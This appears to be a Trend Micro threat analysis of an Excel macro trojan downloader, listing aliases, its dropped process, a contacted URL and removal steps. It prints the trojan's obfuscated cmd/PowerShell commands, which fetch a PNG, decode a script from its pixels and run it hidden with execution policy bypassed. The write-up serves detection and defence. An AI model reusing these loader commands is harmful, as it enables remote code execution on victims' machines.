Analysis by: Arvin Roi Macaraeg
ALIASES:

TrojanDownloader:O97M/Dornoe.A!ams(Microsoft), VBA/TrojanDownloader.Agent.LCB(ESET-NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 64,512 bytes
File Type: XLS
Memory Resident: No
Initial Samples Received Date: 24 Oct 2018
Payload: Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • c:\wIndOws\SyStem32\CliP.ExE

NOTES:

Other Details

This Trojan does the following:

  • Connects to the following URL as part of its routine to download a script:
    • https://images2.{BLOCKED}x.com/ca/88/A2ZSlW6S_o.png

  • Trojan executes the following commands to download a script:
    • cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.{BLOCKED}x.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( ); C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.{BLOCKED}x.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) ";

  • Trojan executes the following commands to run a powershell script to execute the script:
    • CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( );

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.586.04
FIRST VSAPI PATTERN DATE: 25 Oct 2018
VSAPI OPR PATTERN File: 14.587.00
VSAPI OPR PATTERN Date: 26 Oct 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as X2KM_DONOFF.GOFAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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